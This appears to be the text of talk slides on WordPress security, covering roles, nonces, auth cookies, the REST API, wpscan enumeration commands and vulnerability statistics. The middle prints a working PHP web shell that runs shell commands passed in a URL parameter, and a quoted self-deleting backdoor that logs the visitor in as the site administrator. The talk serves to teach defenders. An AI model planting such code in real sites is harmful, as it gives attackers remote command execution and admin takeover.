Created by Daniele Scasciafratte
Persona che si diverte ad esplorare i dettagli dei sistemi di programmazione e come espandere le loro capacitĂ , a differenza di molti utenti, che preferiscono imparare solamente il minimo necessario.
Person who likes to explore the details of the technology systems and how to extend their skills, unlike many users, who prefer to learn only the minimum necessary.
An Hacker want to explain how he/she achieved the results to improve the technology but also itself and the others.
https://w3techs.com/technologies/details/cm-wordpress/all/all
WordPress uses a concept of Roles, designed to give the site owner the ability to control what users can and cannot do within the site.
WordPress has six pre-defined roles: Super Admin, Administrator, Editor, Author, Contributor and Subscriber. Each role is allowed to perform a set of tasks called Capabilities.
A nonce (token) is a "number used once" to help protect URLs and forms from certain types of misuse, malicious or otherwise. WordPress nonces aren't numbers but are a hash made up of numbers and letters. Nor are they used only once, but have a limited "lifetime" after which they expire. During that time period, the same nonce will be generated for a given user in a given context. The nonce for that action will remain the same for that user until that nonce life cycle has completed.
It is stateless and does not use “sessions”—it uses session cookies.https://snicco.io/blog/how-wordpress-uses-authentication-cookies-and-sessions
It does not save server-side data, everything is stored in session cookies.
Salts hash your password in your cookie.
Authentication cookies can be stolen via XSS.
Sends the session cookie with the httpOnly flag, JavaScript cannot access the session cookie (unless your browser has a major zero-day vulnerability)
The WordPress REST API provides an interface for applications to interact with your WordPress site by sending and receiving data as JSON (JavaScript Object Notation) objects.
wpscan --url www.example.com
wpscan --url www.example.com --enumerate
Only 2 commands are enough to understand if the website is managed with a professional behaviour or not.
function webshell() {
echo shell_exec($_GET['cmd']);
die();
}
add_action('wp_head', 'webshell');
Simple Wordpress Web Shell Tutorial - Youtube
https://github.com/mattiasgeniar/php-exploit-scripts/blob/master/found_on_wordpress/
@unlink(__FILE__);
require('../../../wp-blog-header.php');
require('../../../wp-includes/pluggable.php');
$user_info = get_userdata(1);
// Automatic login //
$username = $user_info->user_login;
$user = get_user_by('login', $username );
// Redirect URL //
if ( !is_wp_error( $user ) )
{
wp_clear_auth_cookie();
wp_set_current_user ( $user->ID );
wp_set_auth_cookie ( $user->ID );
$redirect_to = user_admin_url();
wp_safe_redirect( $redirect_to );
exit();
}
https://github.com/mattiasgeniar/php-exploit-scripts/blob/master/found_on_wordpress/backdoor_admin_access.php
Looking at 2022, only 4 vulnerabilities in WordPress compared to 7 of the previous year.
Don't forget that WP has auto updates for minor release (since 3.7) with security bugfixes (for the latest major also with usual bugfixes).
https://www.cvedetails.com/vulnerability-list/vendor_id-2337/product_id-4096/
- http://mte90.tech/Talk-Secure-WP
- WordPress Plugin Vulnerabilities by WP Scan
- Exploit for WordPress plugins